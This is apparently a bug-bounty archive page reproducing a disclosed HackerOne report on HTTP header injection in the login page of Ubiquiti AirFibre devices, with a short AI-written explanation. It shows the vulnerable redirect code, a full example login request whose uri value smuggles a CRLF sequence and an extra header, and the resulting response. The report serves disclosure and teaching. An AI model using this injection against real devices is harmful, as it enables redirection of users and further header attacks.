Skip to content
Account takeover Disclosed report Intermediate

AirFibre products vulnerable to HTTP Header injection

The login page's uri parameter is used to build an HTTP Location header without sanitisation, allowing an attacker to inject extra headers. An attacker could trick a user into logging in and then redirect them to a malicious site or perform other header injection attacks.

simongurney Follow

Originally disclosed on HackerOne

Informational View original
  • Triaged in 13 hours
  • Fixed in 2 months
  • Paid in 2 months
  • Disclosed after 3 months

The uri GET parameter of Login.cgi is directly used (on login) to generate HTTP headers without sanitisation. An user could be tricked into logging into the device and then redirected to a malicious location or attacked through other HTTP Header injection attacks.

Vulnerable code: if (isset($uri) && strlen($uri) > 0) { Header("Location: " + urldecode($uri)); exit;


Example POST POST https://10.62.148.4/login.cgi HTTP/1.1 Connection: keep-alive Content-Length: 363 Cache-Control: max-age=0 Origin: https://10.62.148.4 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundarynT8O7Wj9TOBD7eKm Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8 Referer: https://10.62.148.4/login.cgi?uri=/admin.cgi%0d%0aNewHeader:Value Accept-Encoding: br Accept-Language: en-US,en;q=0.8 Cookie: last_check=1486326659118; AIROS_SESSIONID=a89e9d80a7a7aa87e305f8638458e582; ui_language=en_US Host: 10.62.148.4

------WebKitFormBoundarynT8O7Wj9TOBD7eKm Content-Disposition: form-data; name="uri"

/admin.cgi NewHeader:Value .....SNIPPED.....

Example response:

HTTP/1.1 302 Found Location: /admin.cgi NewHeader: Value Set-cookie: ui_language=en_US; expires=Tuesday, 19-Jan-38 03:14:07 GMT Content-Type: text/html Date: Sun, 05 Feb 2017 21:08:27 GMT Server: lighttpd/1.4.30

Attachments

Untitled.png
Untitled.png From the original on HackerOne

The original report as published on HackerOne, by simongurney. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The application inserts user-controlled input into an HTTP header without validating or encoding it, allowing newline characters to create additional headers.

Impact

An attacker could redirect a user to a malicious location or perform other HTTP header injection attacks, though the report does not demonstrate a specific exploit beyond header injection.

What the attacker needed

Victim must log in to the device; attacker can craft a link with malicious uri

How it was found

  1. Send a login request to login.cgi with a crafted uri parameter containing encoded newline characters and a fake header.
  2. Observe the server response containing the injected header.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When you log in, the website sometimes sends a 'Location' header to tell your browser where to go next. This device takes a value from the web address and puts it straight into that header without cleaning it. By adding special characters, an attacker can sneak in extra headers, which can redirect you to a bad site or change how your browser behaves.

What is Account takeover?

Getting into someone else's account through a flaw in sign-in, password reset, second factor, single sign-on or session handling.

More by simongurney

View all

2 more disclosed reports, best first.

More from Ubiquiti Inc.

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Account takeover

The lesson behind this report.

Getting into someone else's account through a flaw in sign-in, password reset, second factor, single sign-on or session handling.